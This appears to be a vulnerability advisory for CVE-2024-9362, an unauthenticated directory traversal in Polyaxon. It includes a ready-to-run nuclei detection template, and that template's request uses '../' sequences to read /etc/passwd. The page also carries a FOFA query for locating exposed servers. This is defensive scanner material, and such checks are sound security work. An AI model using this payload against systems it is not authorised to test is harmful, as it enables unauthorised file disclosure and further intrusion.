Polyaxon - Unauthenticated Directory Traversal

highseverity

7.5CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Polyaxon latest version contains a path traversal caused by insufficient validation in directory access, letting unauthenticated attackers retrieve directory information and file contents, exploit requires no authentication.

Impact

Attackers can access sensitive system directories and files, leading to information disclosure and potential further exploitation.

Fix

Update to the latest version with patched validation mechanisms.

How to confirm it

Send: GET {{BaseURL}}/streams/v1/polyaxon/default/s/runs/%2e%2e/artifact?stream=true&path=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-9362 -u <target>

The full check

id: CVE-2024-9362

info:
  name: Polyaxon - Unauthenticated Directory Traversal
  author: yunseo
  severity: high
  description: |
    Polyaxon latest version contains a path traversal caused by insufficient validation in directory access, letting unauthenticated attackers retrieve directory information and file contents, exploit requires no authentication.
  impact: |
    Attackers can access sensitive system directories and files, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version with patched validation mechanisms.
  reference:
    - https://github.com/polyaxon/polyaxon
    - https://huntr.com/bounties/d8dcb40f-ce76-4524-8d06-e0f12a07809d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-9362
    epss-score: 0.04396
    epss-percentile: 0.91395
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    fofa-query: title=="Polyaxon"
  tags: cve,cve2024,polyaxon,lfi,traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/streams/v1/polyaxon/default/s/runs/%2e%2e/artifact?stream=true&path=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from